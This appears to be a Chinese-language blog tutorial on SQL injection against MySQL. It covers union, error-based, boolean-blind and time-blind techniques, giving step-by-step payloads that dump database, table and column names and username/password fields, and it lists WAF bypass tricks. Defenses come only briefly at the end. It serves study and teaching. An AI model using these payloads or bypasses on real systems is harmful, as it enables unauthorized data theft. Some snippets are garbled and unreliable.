SQL注入使用


前言

随着自己学习网络安全有段时间了,发现自己过于自信了,什么都学,什么都觉得自己懂了,掉过头来原理都记不住,无奈,只好从头开始整理,权当自己复习一遍了

一、OWASP10

在这里插入图片描述

二、SQL注入的原理

本质上是把用户输入的数据当代码进行执行
两个关键条件即:
1.用户能控制输入
2.原本程序要执行的代码与用户的输入进行了拼接
如执行以下代码:

$id = $_GET['id'];
$query = "select * from information where id = "id" limit 0,1";

变量id的值由用户提交,在正常情况下,假如用户输入的是1,那么SQL语句会执行:
select * from information where id = 1 limit 0,1

但是假如用户输入一段有SQL语义的语句,比如:
1 or 1 =1 %23

那么,SQL语句在实际的执行时就会如下:
select * from information where id = 1 or 1 = 1 %23

满足了上述条件,用户可以控制变量id,原本要执行的代码,拼接了用户的输入。

1.SQL常出现场景

在这里插入图片描述
一切可以与数据库进行交互的地方都有可能出现

2.SQL注入的分类

根据数据传输方式分为:GET型、POST型、COOKIE型。
根据数据类型分为:数字型、字符型。
根据注入模式分为:
基于联合查询的注入模式
基于报错的注入模式
基于布尔的盲注
基于时间的盲注
堆叠查询的注入模式

3.SQL注入的一般步骤

1.求闭合字符
2.选择注入模式
3.爆数据库
4.爆表名
5.爆列名
6.爆字段

三、mysql的一些基本

1.mysql中的注释风格

单行注释,#后直接加内容:select user();#this is a cmmect
单行注释,–后面需加空格:select user();-- this is a commect
多行注释,/**/中见可以跨行:

select user();/*this is a cmmect*/

或:

select user();/*this is a
 cmmect*/ +1;

2.mysql中的内联注释

select /*!user()*/;
或者
/*!50001 select user()*/;

内联注释是MySQL数据库为了保持与其他数据库兼容,特意新添加的功能 。
为了避免从MySQL中导出的SQL语句被其他数据库使用,它把一些 MySQL特有的语句放在 /*! … */ 中,这些语句在不兼容的数据库中使用时便不会执行。而MySQL自身却能识别执行。
/*50001 */表示数据库版本>=5.00.01时中间的语句才会执行。
在SQL注入中,内联注释常用来绕过waf。

3.mysql中的union联合查询

union 操作符用于拼接两个或者多select查询语句union中的每个查询必须拥有相同的列数
如:select 1 union select 2 union select 3;可以执行成功
但是select 1,2 union select 3;执行会报错

4.mysql中的 order by 语句

order by 语句用于根据指定的列对结果集进行排序。
order by语句默认按照升序对记录进行排序.

select * from information;  --正常显示结果
select * from infoemation order by 3; --以第三列结果进行升序排序

5.information_schema结构

在这里插入图片描述
所以语句select schema_name from information_schema.schemata; --查询的是information_schema.schemata中的schema_name,也就是数据库名
构造语句select table_name from information_schema.tables where table_schema ='xxxx '; --查询的是information_schema中数据库名为xxxx所有的表名,即查询information_schema.tables中table_schema=xxxx时的table_name 的数据
语句select column_name from information_schema.columns where table_schema = ‘zzz’ and ‘table_name’ = ‘zzzz’; --查询的是information_shcema.columns中字段所属数据库名为table_schema=zzz并且字段所属表名为table_name=zzzz的值

6.注释的应用

select user from student where id = 1 limit 0,1;
select user from student where id = 1 and 1=2 union select user() # limit 0,1;

攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注 释掉的部分语句不会被执行

7.mysql常用的语句及函数

在这里插入图片描述
字符串连接函数
concat(str1,str2…)函数 直接连接
group_concat(str1,str2…)函数 使用逗号做为分隔符
concat_ws(sep,str1,str2…)函数 使用第一个参数做为分隔符

8.宽字节注入

当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉“運’”,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。

四、基于联合查询的注入模式

基于联合查询的一般步骤
1.求闭合字符
2.求列数
3.求显示位
4.爆数据库名
5.爆表名
6.爆列名
7.爆字段名

1.判断是否存在注入与求闭合字符

sql = 'select *information where id = 'id' limit 0,1';

id = 1’ 异常
id = 1 and 1 =1 – + 正确
id = 1 and 1=2 – + 错误
结论:极有可能存在数字型SQL注入
ps:单引号有个特殊的作用:命令分隔符

sql = 'select *information where id = '"id"' limit 0,1';

id = 1’ 异常
id = 1’ and 1 =1 – + 正确
id = 1’ and 1=2 – + 错误
结论:极有可能存在单引号字符型SQL注入

sql = 'select *information where id = "'id'" limit 0,1';

id = 1” 异常
id = 1” and 1 =1 – + 正确
id = 1” and 1=2 – + 错误
结论:极有可能存在双引号字符型SQL注入

sql = 'select *information where id in ("id") limit 0,1';

id = 1) 异常
id = 1) and 1 =1 – + 正确
id = 1) and 1=2 – + 错误
结论:极有可能存在括号数字型SQL注入

2.求列数

select * from information order by 4--+  正常
select * from information order by 5--+  报错
Order by 表示按第几列来排序, 
超出查询数据的列数会报错
order by 应当说的是查询了几列,按第几列来排序

3.求显示位

select * from information where id = 1 and 1=2 union select 1,2,3,4 --+

此时显示的是查询了四列,显示出几列不一定,我们要求出
到底用了哪两列, 然后在所用的列上插入我们的paylaod

4.求数据库

select * from information where id = 1 and 1=2 union select 1,database(),3,4 --+

在有回显的地方插入payload

5.求表名

id=1 and 1=2 union select 1,group_concat(table_name),3,4 from 
information_schema.tables where table_schema='xxxx'

此处用group_concat 意思是用“,”做分隔符,在2号显示位显示出结果

6.求列名

id=1 and 1=2 union select 
1,group_concat(column_name),3,4 from 
information_schema.columns where table_schema='xxxx' and 
table_name = 'xxxxx'

同上

7.求字段内容

id=1 and 1=2 union select 
1,2,group_concat(name,0x23,school),4
from xxxx.xxxxx -- +

此处group_concat意思为将name和school的结果值用“,”分割连接

五、基于报错的注入模式

一般步骤为:
1,求闭合字符
2,爆数据库名
3,爆表名
4,爆列名
5,爆字段名
页面有报错信息时优先选择基于报错的注入模式

1.updatexml函数

在这里插入图片描述
0x7e对应的是“~” ~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。

2.求库名

?id=1and updatexml(1,concat(0x23,database()),1) -- +

3.求表名

?id=1'  and updatexml(1,concat(0x23,(select group_concat(table_name) from 
information_schema.tables where table_schema='security')),1) -- +

4.求列名

?id=1'  and updatexml(1,concat(0x23,(select group_concat(column_name) from 
information_schema.columns where table_schema='security' and 
table_name='users')),1) -- +

5.求字段内容

?id=1'  and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from security.users)),1)-- +

6.FLOOR报错

floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
这玩意儿太难组织语言,我太菜了,直接上语句各自体会
爆库
select 1 from (select count(*),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a;
爆表
select 1 from (select count(
),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)2))x from information_schema.tables group by x)a;
爆字段
select 1 from (select count(
),concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),floor(rand(14)2))x from information_schema.tables group by x)a
爆数据
select 1 from (select count(
),concat((select group_concat(password) from users),floor(rand(14)*2))x from information_schema.tables group by x)a;

7.15钟报错函数

loor()
multipolygon()
updatexml()
linestring()
extractvalue()
exp()
GeometryCollection()
polygon()
mutipoint()
ST_LatFromGeoHash()
multionlinestring()
ST_LongFromGeoHash()
GTID_SUBSET()
GTID_SUBTRACT()
ST_PointFromGeoHash()

建议在concat查询语句后面添加一个标识符,如0x23
updatexml(1,concat(0x23,payload,0x23),1)
因为有的时候报错信息会设置长度限制,添加标识符可以避免显示不完全。

8.limit用法

因为有时只能显示一行,所以可以加上limit 0,1,显示第0行一下的第1行,不包括第0行,下一行就是limit 1,1 再下一行是limit 2,1

六、布尔型盲注

特点:页面存在异常,但是即无回显也无报错信息
利用:只能通过正确与错误两种状态来判断payload是否正确

1.一些函数

select count() fron information;    返回行数   /***count()计算结果集的行数
select length('test');   返回4  /***length(str)返回指定字符串的长度
select substr('test',1,1);   返回1  /***substr(str,pos,len)/substring(str,pos,len)返回截取的子字符串。
select ascii('test');   返回116  /***ascii(str)返回指定字符串最左侧字符的ascii值。

2.布尔型盲注核心思想及步骤

利用判断语句来证明推测是否正确。
推测正确时,页面正常显示;错误时,页面异常。
步骤如下:
在这里插入图片描述

3.实际操作

求数据库长度

?id=1' and length(database())=8 %23

求数据库名的ascii值

?id=1' and ascii(substr(database(),1,1))=115 %23

求表的数量

id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4 %23

求表名的ascii值

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 %23

求列的数量

id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 %23

求列名的ascii值

id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),1,1))=105 %23

求字段数量

id=1' and (select count(username) from security.users)=13 %23

求字段内容

id=1' and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68 %23

七、时间型盲注

特点:页面不存在异常,且即无回显也无报错信息
利用:只能利用条件语句结合执行时间的长短来判断payload是否正确

if(exp1,exp2,exp3)
如果exp1是True,则执行exp2,否则执行exp3
select if (True,2,3)   返回2
select if (False,2,3)   返回3
sleep(x) 
将程序暂停x秒
if(payload,sleep(3),1)    即payload正确时,程序暂停3秒。否则立刻执行。 
if(payload,1,sleep(3))    即payload正确时,程序立刻执行,否则暂停3.

八、WAF绕过

1.大小写混合
原因:服务器端检测时未开启大小写不敏感
形式:UnIon SeLecT
2.多重关键字
原因:服务器端检测到敏感字符时替换为空
形式:ununionion selselectect
3.编码
原因:服务器端未检测或检测不严具有编码形式的关键字
类型:十六进制编码、URL编码、Unicode编码
形式:0x61646d696e、%20、%u0020
4.注释
原因:服务器端未检测或检测不严注释内的字符串
形式:/**/,/!/,/!12345/,#,-- -等
5.等价函数或命令
原因:服务器端黑名单不完整,过滤不严
形式:
Mysql查询:Union distinct、updatexml、Extractvalue、floor
字符串截取函数:mid、substr、substring、left、reverse
字符串连接函数:concat、group_concat、concat_ws
字符串转换:char、hex、unhex
替换逗号:limit 1 offset 0,mid(version() from 1 for 1)
替换等号:like
6.特殊符号
原因:数据库中效果相同,服务器端却没有限制
形式:
科学记数法 and 1e0 = 1e0
空白字符 %0a %a0 %0b %20 %09
反单引号 table_name
括号 select * from (test.admin)
7.组合绕过
原因:服务器端检测多处位置,需要多重绕过方式组合使用
形式:id = 1’ and/**/’1’like’2’/**//*!12345union*/select 1,2,3

九、防御

1.使用参数化查询
2.输入检查
白名单检查
判断参数数据类型。如id的值,判断是否为整形
黑名单检查
使用正则禁止敏感字符和字符串的使用
3.使用安全函数
4.最小权限原则

本文部分素材来自于互联网


总结

写不动了,堆叠就是多条语句一起写,细细整理完手敲一遍确实神清气爽。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值